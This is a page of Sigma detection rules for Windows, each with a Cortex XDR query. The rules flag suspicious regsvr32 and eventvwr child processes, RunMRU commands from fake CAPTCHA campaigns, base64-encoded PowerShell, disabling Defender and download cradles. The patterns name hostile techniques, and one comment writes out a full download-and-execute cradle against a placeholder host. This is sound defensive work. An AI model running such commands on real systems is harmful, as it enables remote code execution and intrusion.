Detects potentially suspicious child processes of "regsvr32.exe".
status test author elhoim, Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems) ATT&CK sub-technique id 6f0947a4-1c5e-4e0d-8ac7-53159b8f23ca
cortex_xdr query
config case_sensitive = false | preset=xdr_process | filter (event_type = ENUM.PROCESS and 
 event_sub_type = ENUM.PROCESS_START) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 ((actor_process_image_path contains "\regsvr32.exe" and 
 (action_process_image_path in ("*\calc.exe", "*\cscript.exe", "*\explorer.exe", "*\mshta.exe", "*\net.exe", "*\net1.exe", "*\nltest.exe", "*\notepad.exe", "*\powershell.exe", "*\pwsh.exe", "*\reg.exe", "*\schtasks.exe", "*\werfault.exe", "*\wscript.exe"))) and 
 (not 
 (action_process_image_path contains "\werfault.exe" and 
 action_process_image_command_line contains " -u -p "))))
view Sigma YAML
title: Potentially Suspicious Child Process Of Regsvr32
id: 6f0947a4-1c5e-4e0d-8ac7-53159b8f23ca
related:
    - id: 8e2b24c9-4add-46a0-b4bb-0057b4e6187d
      type: obsolete
status: test
description: Detects potentially suspicious child processes of "regsvr32.exe".
references:
    - https://redcanary.com/blog/intelligence-insights-april-2022/
    - https://www.echotrail.io/insights/search/regsvr32.exe
    - https://www.ired.team/offensive-security/code-execution/t1117-regsvr32-aka-squiblydoo
author: elhoim, Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
date: 2022-05-05
modified: 2023-05-26
tags:
    - attack.stealth
    - attack.t1218.010
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\regsvr32.exe'
        Image|endswith:
            - '\calc.exe'
            - '\cscript.exe'
            - '\explorer.exe'
            - '\mshta.exe'
            - '\net.exe'
            - '\net1.exe'
            - '\nltest.exe'
            - '\notepad.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
            - '\reg.exe'
            - '\schtasks.exe'
            - '\werfault.exe'
            - '\wscript.exe'
    filter_main_werfault:
        Image|endswith: '\werfault.exe'
        CommandLine|contains: ' -u -p '
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Unlikely, but can rarely occur. Apply additional filters accordingly.
level: high
Convert to SIEM query
high Strong Medium FP
Potentially Suspicious Command Executed Via Run Dialog Box - Registry
Detects execution of commands via the run dialog box on Windows by checking values of the "RunMRU" registry key. This technique was seen being abused by threat actors to deceive users into pasting and executing malicious commands, often disguised as CAPTCHA verification steps.
status test author Ahmed Farouk, Nasreddine Bencherchali ATT&CK sub-technique id a7df0e9e-91a5-459a-a003-4cde67c2ff5d
cortex_xdr query
config case_sensitive = false | preset=xdr_registry | filter (event_type = ENUM.REGISTRY and 
 event_sub_type = ENUM.REGISTRY_SET_VALUE) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 (action_registry_key_name contains "\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" and 
 ((((action_registry_value_name in ("*powershell*", "*pwsh*")) or 
 (action_registry_data in ("*powershell*", "*pwsh*"))) and 
 ((action_registry_value_name in ("* -e *", "* -ec *", "* -en *", "* -enc *", "* -enco*", "*ftp*", "*Hidden*", "*http*", "*iex*", "*Invoke-*")) or 
 (action_registry_data in ("* -e *", "* -ec *", "* -en *", "* -enc *", "* -enco*", "*ftp*", "*Hidden*", "*http*", "*iex*", "*Invoke-*")))) or 
 ((action_registry_value_name contains "wmic" or 
 action_registry_data contains "wmic") and 
 ((action_registry_value_name in ("*shadowcopy*", "*process call create*")) or 
 (action_registry_data in ("*shadowcopy*", "*process call create*")))))))
view Sigma YAML
title: Potentially Suspicious Command Executed Via Run Dialog Box - Registry
id: a7df0e9e-91a5-459a-a003-4cde67c2ff5d
related:
    - id: f9d091f6-f1c7-4873-a24f-050b4a02b4dd
      type: derived
status: test
description: |
    Detects execution of commands via the run dialog box on Windows by checking values of the "RunMRU" registry key.
    This technique was seen being abused by threat actors to deceive users into pasting and executing malicious commands, often disguised as CAPTCHA verification steps.
references:
    - https://medium.com/@ahmed.moh.farou2/fake-captcha-campaign-on-arabic-pirated-movie-sites-delivers-lumma-stealer-4f203f7adabf
    - https://medium.com/@shaherzakaria8/downloading-trojan-lumma-infostealer-through-capatcha-1f25255a0e71
    - https://www.forensafe.com/blogs/runmrukey.html
    - https://redcanary.com/blog/threat-intelligence/intelligence-insights-october-2024/
author: Ahmed Farouk, Nasreddine Bencherchali
date: 2024-11-01
tags:
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    category: registry_set
detection:
    selection_key:
        TargetObject|contains: '\Microsoft\Windows\CurrentVersion\Explorer\RunMRU'
    selection_powershell_command:
        Details|contains:
            - 'powershell'
            - 'pwsh'
    selection_powershell_susp_keywords:
        Details|contains:
            - ' -e '
            - ' -ec '
            - ' -en '
            - ' -enc '
            - ' -enco'
            - 'ftp'
            - 'Hidden'
            - 'http'
            - 'iex'
            - 'Invoke-'
    selection_wmic_command:
        Details|contains: 'wmic'
    selection_wmic_susp_keywords:
        Details|contains:
            - 'shadowcopy'
            - 'process call create'
    condition: selection_key and (all of selection_powershell_* or all of selection_wmic_*)
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Moderate High FP
Potentially Suspicious Event Viewer Child Process
Detects uncommon or suspicious child processes of "eventvwr.exe" which might indicate a UAC bypass attempt
status test author Florian Roth (Nextron Systems) ATT&CK sub-technique id be344333-921d-4c4d-8bb8-e584cf584780
cortex_xdr query
config case_sensitive = false | preset=xdr_process | filter (event_type = ENUM.PROCESS and 
 event_sub_type = ENUM.PROCESS_START) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 (actor_process_image_path contains "\eventvwr.exe" and 
 (not 
 (action_process_image_path in ("*:\Windows\System32\mmc.exe", "*:\Windows\System32\WerFault.exe", "*:\Windows\SysWOW64\WerFault.exe")))))
view Sigma YAML
title: Potentially Suspicious Event Viewer Child Process
id: be344333-921d-4c4d-8bb8-e584cf584780
related:
    - id: 7c81fec3-1c1d-43b0-996a-46753041b1b6
      type: derived
status: test
description: Detects uncommon or suspicious child processes of "eventvwr.exe" which might indicate a UAC bypass attempt
references:
    - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
    - https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cdbd1dfe7446f3f51f?environmentId=100
author: Florian Roth (Nextron Systems)
date: 2017-03-19
modified: 2023-09-28
tags:
    - attack.privilege-escalation
    - attack.t1548.002
    - car.2019-04-001
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\eventvwr.exe'
    filter_main_generic:
        Image|endswith:
            - ':\Windows\System32\mmc.exe'
            - ':\Windows\System32\WerFault.exe'
            - ':\Windows\SysWOW64\WerFault.exe'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Moderate High FP
Potentially Suspicious Execution From Parent Process In Public Folder
Detects a potentially suspicious execution of a parent process located in the "\Users\Public" folder executing a child process containing references to shell or scripting binaries and commandlines.
status test author Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems) ATT&CK technique id 69bd9b97-2be2-41b6-9816-fb08757a4d1a
cortex_xdr query
config case_sensitive = false | preset=xdr_process | filter (event_type = ENUM.PROCESS and 
 event_sub_type = ENUM.PROCESS_START) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 (actor_process_image_path contains ":\Users\Public\" and 
 ((action_process_image_path in ("*\bitsadmin.exe", "*\certutil.exe", "*\cmd.exe", "*\cscript.exe", "*\mshta.exe", "*\powershell.exe", "*\pwsh.exe", "*\regsvr32.exe", "*\rundll32.exe", "*\wscript.exe")) or 
 (action_process_image_command_line in ("*bitsadmin*", "*certutil*", "*cscript*", "*mshta*", "*powershell*", "*regsvr32*", "*rundll32*", "*wscript*")))))
view Sigma YAML
title: Potentially Suspicious Execution From Parent Process In Public Folder
id: 69bd9b97-2be2-41b6-9816-fb08757a4d1a
status: test
description: |
    Detects a potentially suspicious execution of a parent process located in the "\Users\Public" folder executing a child process containing references to shell or scripting binaries and commandlines.
references:
    - https://redcanary.com/blog/blackbyte-ransomware/
author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
date: 2022-02-25
modified: 2024-07-12
tags:
    - attack.execution
    - attack.stealth
    - attack.t1564
    - attack.t1059
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|contains: ':\Users\Public\'
    selection_child:
        - Image|endswith:
              - '\bitsadmin.exe'
              - '\certutil.exe'
              - '\cmd.exe'
              - '\cscript.exe'
              - '\mshta.exe'
              - '\powershell.exe'
              - '\pwsh.exe'
              - '\regsvr32.exe'
              - '\rundll32.exe'
              - '\wscript.exe'
        - CommandLine|contains:
              - 'bitsadmin'
              - 'certutil'
              - 'cscript'
              - 'mshta'
              - 'powershell'
              - 'regsvr32'
              - 'rundll32'
              - 'wscript'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Moderate High FP
Potentially Suspicious ODBC Driver Registered
Detects the registration of a new ODBC driver where the driver is located in a potentially suspicious location
status test author Nasreddine Bencherchali (Nextron Systems) ATT&CK technique id e4d22291-f3d5-4b78-9a0c-a1fbaf32a6a4
cortex_xdr query
config case_sensitive = false | preset=xdr_registry | filter (event_type = ENUM.REGISTRY and 
 event_sub_type = ENUM.REGISTRY_SET_VALUE) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 (action_registry_key_name contains "\SOFTWARE\ODBC\ODBCINST.INI\" and 
 (action_registry_key_name in ("*\Driver", "*\Setup")) and 
 ((action_registry_value_name in ("*:\PerfLogs\*", "*:\ProgramData\*", "*:\Temp\*", "*:\Users\Public\*", "*:\Windows\Registration\CRMLog*", "*:\Windows\System32\com\dmp\*", "*:\Windows\System32\FxsTmp\*", "*:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\*", "*:\Windows\System32\spool\drivers\color\*", "*:\Windows\System32\spool\PRINTERS\*", "*:\Windows\System32\spool\SERVERS\*", "*:\Windows\System32\Tasks_Migrated\*", "*:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter\*", "*:\Windows\SysWOW64\com\dmp\*", "*:\Windows\SysWOW64\FxsTmp\*", "*:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System\*", "*:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter\*", "*:\Windows\Tasks\*", "*:\Windows\Temp\*", "*:\Windows\Tracing\*", "*\AppData\Local\Temp\*", "*\AppData\Roaming\*")) or 
 (action_registry_data in ("*:\PerfLogs\*", "*:\ProgramData\*", "*:\Temp\*", "*:\Users\Public\*", "*:\Windows\Registration\CRMLog*", "*:\Windows\System32\com\dmp\*", "*:\Windows\System32\FxsTmp\*", "*:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\*", "*:\Windows\System32\spool\drivers\color\*", "*:\Windows\System32\spool\PRINTERS\*", "*:\Windows\System32\spool\SERVERS\*", "*:\Windows\System32\Tasks_Migrated\*", "*:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter\*", "*:\Windows\SysWOW64\com\dmp\*", "*:\Windows\SysWOW64\FxsTmp\*", "*:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System\*", "*:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter\*", "*:\Windows\Tasks\*", "*:\Windows\Temp\*", "*:\Windows\Tracing\*", "*\AppData\Local\Temp\*", "*\AppData\Roaming\*")))))
view Sigma YAML
title: Potentially Suspicious ODBC Driver Registered
id: e4d22291-f3d5-4b78-9a0c-a1fbaf32a6a4
status: test
description: Detects the registration of a new ODBC driver where the driver is located in a potentially suspicious location
references:
    - https://www.hexacorn.com/blog/2020/08/23/odbcconf-lolbin-trifecta/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-05-23
modified: 2023-08-17
tags:
    - attack.credential-access
    - attack.persistence
    - attack.t1003
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject|contains: '\SOFTWARE\ODBC\ODBCINST.INI\'
        TargetObject|endswith:
            - '\Driver'
            - '\Setup'
        Details|contains:
            - ':\PerfLogs\'
            - ':\ProgramData\'
            - ':\Temp\'
            - ':\Users\Public\'
            - ':\Windows\Registration\CRMLog'
            - ':\Windows\System32\com\dmp\'
            - ':\Windows\System32\FxsTmp\'
            - ':\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\'
            - ':\Windows\System32\spool\drivers\color\'
            - ':\Windows\System32\spool\PRINTERS\'
            - ':\Windows\System32\spool\SERVERS\'
            - ':\Windows\System32\Tasks_Migrated\'
            - ':\Windows\System32\Tasks\Microsoft\Windows\SyncCenter\'
            - ':\Windows\SysWOW64\com\dmp\'
            - ':\Windows\SysWOW64\FxsTmp\'
            - ':\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System\'
            - ':\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter\'
            - ':\Windows\Tasks\'
            - ':\Windows\Temp\'
            - ':\Windows\Tracing\'
            - '\AppData\Local\Temp\'
            - '\AppData\Roaming\'
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high Moderate High FP
PowerShell Base64 Encoded FromBase64String Cmdlet
Detects usage of a base64 encoded "FromBase64String" cmdlet in a process command line
status test author Florian Roth (Nextron Systems) ATT&CK sub-technique id fdb62a13-9a81-4e5c-a38f-ea93a16f6d7c
cortex_xdr query
config case_sensitive = false | preset=xdr_process | filter (event_type = ENUM.PROCESS and 
 event_sub_type = ENUM.PROCESS_START) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 (action_process_image_command_line contains "OjpGcm9tQmFzZTY0U3RyaW5n" or 
 action_process_image_command_line contains "o6RnJvbUJhc2U2NFN0cmluZ" or 
 action_process_image_command_line contains "6OkZyb21CYXNlNjRTdHJpbm" or 
 (action_process_image_command_line in ("*OgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcA*", "*oAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnA*", "*6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZw*"))))
view Sigma YAML
title: PowerShell Base64 Encoded FromBase64String Cmdlet
id: fdb62a13-9a81-4e5c-a38f-ea93a16f6d7c
status: test
description: Detects usage of a base64 encoded "FromBase64String" cmdlet in a process command line
references:
    - Internal Research
author: Florian Roth (Nextron Systems)
date: 2019-08-24
modified: 2023-04-06
tags:
    - attack.stealth
    - attack.t1140
    - attack.execution
    - attack.t1059.001
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        - CommandLine|base64offset|contains: '::FromBase64String'
        # UTF-16 LE
        - CommandLine|contains:
              - 'OgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcA'
              - 'oAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnA'
              - '6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZw'
    condition: selection
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Moderate High FP
PowerShell Base64 Encoded IEX Cmdlet
Detects usage of a base64 encoded "IEX" cmdlet in a process command line
status test author Florian Roth (Nextron Systems) ATT&CK sub-technique id 88f680b8-070e-402c-ae11-d2914f2257f1
cortex_xdr query
config case_sensitive = false | preset=xdr_process | filter (event_type = ENUM.PROCESS and 
 event_sub_type = ENUM.PROCESS_START) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 ((action_process_image_command_line contains "SUVYIChb" or 
 action_process_image_command_line contains "lFWCAoW" or 
 action_process_image_command_line contains "JRVggKF" or 
 action_process_image_command_line contains "aWV4IChb" or 
 action_process_image_command_line contains "lleCAoW" or 
 action_process_image_command_line contains "pZXggKF" or 
 action_process_image_command_line contains "aWV4IChOZX" or 
 action_process_image_command_line contains "lleCAoTmV3" or 
 action_process_image_command_line contains "pZXggKE5ld" or 
 action_process_image_command_line contains "SUVYIChOZX" or 
 action_process_image_command_line contains "lFWCAoTmV3" or 
 action_process_image_command_line contains "JRVggKE5ld" or 
 action_process_image_command_line contains "SUVYKF" or 
 action_process_image_command_line contains "lFWChb" or 
 action_process_image_command_line contains "JRVgoW" or 
 action_process_image_command_line contains "aWV4KF" or 
 action_process_image_command_line contains "lleChb" or 
 action_process_image_command_line contains "pZXgoW" or 
 action_process_image_command_line contains "aWV4KE5ld" or 
 action_process_image_command_line contains "lleChOZX" or 
 action_process_image_command_line contains "pZXgoTmV3" or 
 action_process_image_command_line contains "SUVYKE5ld" or 
 action_process_image_command_line contains "lFWChOZX" or 
 action_process_image_command_line contains "JRVgoTmV3" or 
 action_process_image_command_line contains "SUVYKCgn" or 
 action_process_image_command_line contains "lFWCgoJ" or 
 action_process_image_command_line contains "JRVgoKC" or 
 action_process_image_command_line contains "aWV4KCgn" or 
 action_process_image_command_line contains "lleCgoJ" or 
 action_process_image_command_line contains "pZXgoKC") or 
 (action_process_image_command_line in ("*SQBFAFgAIAAoAFsA*", "*kARQBYACAAKABbA*", "*JAEUAWAAgACgAWw*", "*aQBlAHgAIAAoAFsA*", "*kAZQB4ACAAKABbA*", "*pAGUAeAAgACgAWw*", "*aQBlAHgAIAAoAE4AZQB3A*", "*kAZQB4ACAAKABOAGUAdw*", "*pAGUAeAAgACgATgBlAHcA*", "*SQBFAFgAIAAoAE4AZQB3A*", "*kARQBYACAAKABOAGUAdw*", "*JAEUAWAAgACgATgBlAHcA*"))))
view Sigma YAML
title: PowerShell Base64 Encoded IEX Cmdlet
id: 88f680b8-070e-402c-ae11-d2914f2257f1
status: test
description: Detects usage of a base64 encoded "IEX" cmdlet in a process command line
references:
    - Internal Research
author: Florian Roth (Nextron Systems)
date: 2019-08-23
modified: 2023-04-06
tags:
    - attack.execution
    - attack.t1059.001
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        - CommandLine|base64offset|contains:
              - 'IEX (['
              - 'iex (['
              - 'iex (New'
              - 'IEX (New'
              - 'IEX(['
              - 'iex(['
              - 'iex(New'
              - 'IEX(New'
              - "IEX(('"
              - "iex(('"
        # UTF16 LE
        - CommandLine|contains:
              - 'SQBFAFgAIAAoAFsA'
              - 'kARQBYACAAKABbA'
              - 'JAEUAWAAgACgAWw'
              - 'aQBlAHgAIAAoAFsA'
              - 'kAZQB4ACAAKABbA'
              - 'pAGUAeAAgACgAWw'
              - 'aQBlAHgAIAAoAE4AZQB3A'
              - 'kAZQB4ACAAKABOAGUAdw'
              - 'pAGUAeAAgACgATgBlAHcA'
              - 'SQBFAFgAIAAoAE4AZQB3A'
              - 'kARQBYACAAKABOAGUAdw'
              - 'JAEUAWAAgACgATgBlAHcA'
    condition: selection
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Moderate High FP
PowerShell Base64 Encoded Reflective Assembly Load
Detects base64 encoded .NET reflective loading of Assembly
status test author Christian Burkard (Nextron Systems), pH-T (Nextron Systems) ATT&CK sub-technique id 62b7ccc9-23b4-471e-aa15-6da3663c4d59
cortex_xdr query
config case_sensitive = false | preset=xdr_process | filter (event_type = ENUM.PROCESS and 
 event_sub_type = ENUM.PROCESS_START) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 (action_process_image_command_line in ("*WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKA*", "*sAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgA*", "*bAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoA*", "*AFsAcgBlAGYAbABlAGMAdABpAG8AbgAuAGEAcwBzAGUAbQBiAGwAeQBdADoAOgAoACIATABvAGEAZAAiAC*", "*BbAHIAZQBmAGwAZQBjAHQAaQBvAG4ALgBhAHMAcwBlAG0AYgBsAHkAXQA6ADoAKAAiAEwAbwBhAGQAIgAp*", "*AWwByAGUAZgBsAGUAYwB0AGkAbwBuAC4AYQBzAHMAZQBtAGIAbAB5AF0AOgA6ACgAIgBMAG8AYQBkACIAK*", "*WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6ACgAIgBMAG8AYQBkACIAKQ*", "*sAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgAoACIATABvAGEAZAAiACkA*", "*bAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoAKAAiAEwAbwBhAGQAIgApA*", "*WwByAGUAZgBsAGUAYwB0AGkAbwBuAC4AYQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKA*", "*sAcgBlAGYAbABlAGMAdABpAG8AbgAuAGEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgA*", "*bAHIAZQBmAGwAZQBjAHQAaQBvAG4ALgBhAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoA*")))
view Sigma YAML
title: PowerShell Base64 Encoded Reflective Assembly Load
id: 62b7ccc9-23b4-471e-aa15-6da3663c4d59
related:
    - id: 9c0295ce-d60d-40bd-bd74-84673b7592b1
      type: similar
status: test
description: Detects base64 encoded .NET reflective loading of Assembly
references:
    - https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar
    - https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
author: Christian Burkard (Nextron Systems), pH-T (Nextron Systems)
date: 2022-03-01
modified: 2023-01-30
tags:
    - attack.execution
    - attack.stealth
    - attack.t1059.001
    - attack.t1027
    - attack.t1620
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains:
            # [Reflection.Assembly]::Load(
            - 'WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKA'
            - 'sAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgA'
            - 'bAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoA'
            # [reflection.assembly]::("Load")
            - 'AFsAcgBlAGYAbABlAGMAdABpAG8AbgAuAGEAcwBzAGUAbQBiAGwAeQBdADoAOgAoACIATABvAGEAZAAiAC'
            - 'BbAHIAZQBmAGwAZQBjAHQAaQBvAG4ALgBhAHMAcwBlAG0AYgBsAHkAXQA6ADoAKAAiAEwAbwBhAGQAIgAp'
            - 'AWwByAGUAZgBsAGUAYwB0AGkAbwBuAC4AYQBzAHMAZQBtAGIAbAB5AF0AOgA6ACgAIgBMAG8AYQBkACIAK'
            # [Reflection.Assembly]::("Load")
            - 'WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6ACgAIgBMAG8AYQBkACIAKQ'
            - 'sAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgAoACIATABvAGEAZAAiACkA'
            - 'bAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoAKAAiAEwAbwBhAGQAIgApA'
            # [reflection.assembly]::Load(
            - 'WwByAGUAZgBsAGUAYwB0AGkAbwBuAC4AYQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKA'
            - 'sAcgBlAGYAbABlAGMAdABpAG8AbgAuAGEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgA'
            - 'bAHIAZQBmAGwAZQBjAHQAaQBvAG4ALgBhAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoA'
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high Moderate Medium FP
PowerShell Defender Threat Severity Default Action Set to 'Allow' or 'NoAction'
Detects the use of PowerShell to execute the 'Set-MpPreference' cmdlet to configure Windows Defender's threat severity default action to 'Allow' (value '6') or 'NoAction' (value '9'). This is a highly suspicious configuration change that effectively disables Defender's ability to automatically mitigate threats of a certain severity level. An attacker might use this technique via the command line to bypass defenses before executing payloads.
status experimental author Matt Anderson (Huntress) ATT&CK technique id 1e8a9b4d-3c2a-4f9b-8d1e-7c6a5b4f3d2e
cortex_xdr query
config case_sensitive = false | preset=xdr_process | filter (event_type = ENUM.PROCESS and 
 event_sub_type = ENUM.PROCESS_START) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 (action_process_image_command_line contains "Set-MpPreference" and 
 (action_process_image_command_line in ("*-LowThreatDefaultAction*", "*-ModerateThreatDefaultAction*", "*-HighThreatDefaultAction*", "*-SevereThreatDefaultAction*", "*-ltdefac *", "*-mtdefac *", "*-htdefac *", "*-stdefac *")) and 
 (action_process_image_command_line in ("*Allow*", "*6*", "*NoAction*", "*9*"))))
view Sigma YAML
title: PowerShell Defender Threat Severity Default Action Set to 'Allow' or 'NoAction'
id: 1e8a9b4d-3c2a-4f9b-8d1e-7c6a5b4f3d2e
related:
    - id: 5a9e1b2c-8f7d-4a1e-9b3c-0f6d7e5a4b1f
      type: similar
status: experimental
description: |
    Detects the use of PowerShell to execute the 'Set-MpPreference' cmdlet to configure Windows Defender's threat severity default action to 'Allow' (value '6') or 'NoAction' (value '9').
    This is a highly suspicious configuration change that effectively disables Defender's ability to automatically mitigate threats of a certain severity level.
    An attacker might use this technique via the command line to bypass defenses before executing payloads.
references:
    - https://learn.microsoft.com/en-us/powershell/module/defender/set-mppreference
    - https://learn.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/security-malware-windows-defender-threatseveritydefaultaction
    - https://research.splunk.com/endpoint/7215831c-8252-4ae3-8d43-db588e82f952
    - https://gist.github.com/Dump-GUY/8daef859f382b895ac6fd0cf094555d2
    - https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/
author: 'Matt Anderson (Huntress)'
date: 2025-07-11
tags:
    - attack.defense-impairment
    - attack.t1685
logsource:
    category: process_creation
    product: windows
detection:
    selection_cmdlet:
        CommandLine|contains: 'Set-MpPreference'
    selection_action:
        CommandLine|contains:
            - '-LowThreatDefaultAction'
            - '-ModerateThreatDefaultAction'
            - '-HighThreatDefaultAction'
            - '-SevereThreatDefaultAction'
            - '-ltdefac '
            - '-mtdefac '
            - '-htdefac '
            - '-stdefac '
    selection_value:
        CommandLine|contains:
            - 'Allow'
            - '6'
            - 'NoAction'
            - '9'
    condition: all of selection_*
falsepositives:
    - Highly unlikely
level: high
Convert to SIEM query
high Strong High FP
PowerShell Download and Execution Cradles
Detects PowerShell download and execution cradles.
status test author Florian Roth (Nextron Systems) ATT&CK technique id 85b0b087-eddf-4a2b-b033-d771fa2b9775
cortex_xdr query
config case_sensitive = false | preset=xdr_process | filter (event_type = ENUM.PROCESS and 
 event_sub_type = ENUM.PROCESS_START) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 ((action_process_image_command_line in ("*.DownloadString(*", "*.DownloadFile(*", "*Invoke-WebRequest *", "*iwr *", "*Invoke-RestMethod *", "*irm *")) and 
 (action_process_image_command_line in ("*;iex $*", "*| IEX*", "*|IEX *", "*I`E`X*", "*I`EX*", "*IE`X*", "*iex *", "*IEX (*", "*IEX(*", "*Invoke-Expression*"))))
view Sigma YAML
title: PowerShell Download and Execution Cradles
id: 85b0b087-eddf-4a2b-b033-d771fa2b9775
status: test
description: Detects PowerShell download and execution cradles.
references:
    - https://github.com/VirtualAlllocEx/Payload-Download-Cradles/blob/88e8eca34464a547c90d9140d70e9866dcbc6a12/Download-Cradles.cmd
    - https://labs.withsecure.com/publications/fin7-target-veeam-servers
author: Florian Roth (Nextron Systems)
date: 2022-03-24
modified: 2025-07-18
tags:
    - attack.execution
    - attack.t1059
logsource:
    product: windows
    category: process_creation
detection:
    selection_download:
        CommandLine|contains:
            - '.DownloadString('
            - '.DownloadFile('
            - 'Invoke-WebRequest '
            - 'iwr '
            - 'Invoke-RestMethod '
            - 'irm '  # powershell -ep bypass -w h -c irm test.domain/ffe | iex
    selection_iex:
        CommandLine|contains:
            - ';iex $'
            - '| IEX'
            - '|IEX '
            - 'I`E`X'
            - 'I`EX'
            - 'IE`X'
            - 'iex '
            - 'IEX ('
            - 'IEX('
            - 'Invoke-Expression'
    condition: all of selection_*
falsepositives:
    - Some PowerShell installers were seen using similar combinations. Apply filters accordingly
level: high
Convert to SIEM query
high Moderate High FP
PowerShell Get-Process LSASS
Detects a "Get-Process" cmdlet and it's aliases on lsass process, which is in almost all cases a sign of malicious activity
status test author Florian Roth (Nextron Systems) ATT&CK sub-technique id b2815d0d-7481-4bf0-9b6c-a4c48a94b349
cortex_xdr query
config case_sensitive = false | preset=xdr_process | filter (event_type = ENUM.PROCESS and 
 event_sub_type = ENUM.PROCESS_START) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 (action_process_image_command_line in ("*Get-Process lsas*", "*ps lsas*", "*gps lsas*")))
view Sigma YAML
title: PowerShell Get-Process LSASS
id: b2815d0d-7481-4bf0-9b6c-a4c48a94b349
status: test
description: Detects a "Get-Process" cmdlet and it's aliases on lsass process, which is in almost all cases a sign of malicious activity
references:
    - https://web.archive.org/web/20220205033028/https://twitter.com/PythonResponder/status/1385064506049630211
author: Florian Roth (Nextron Systems)
date: 2021-04-23
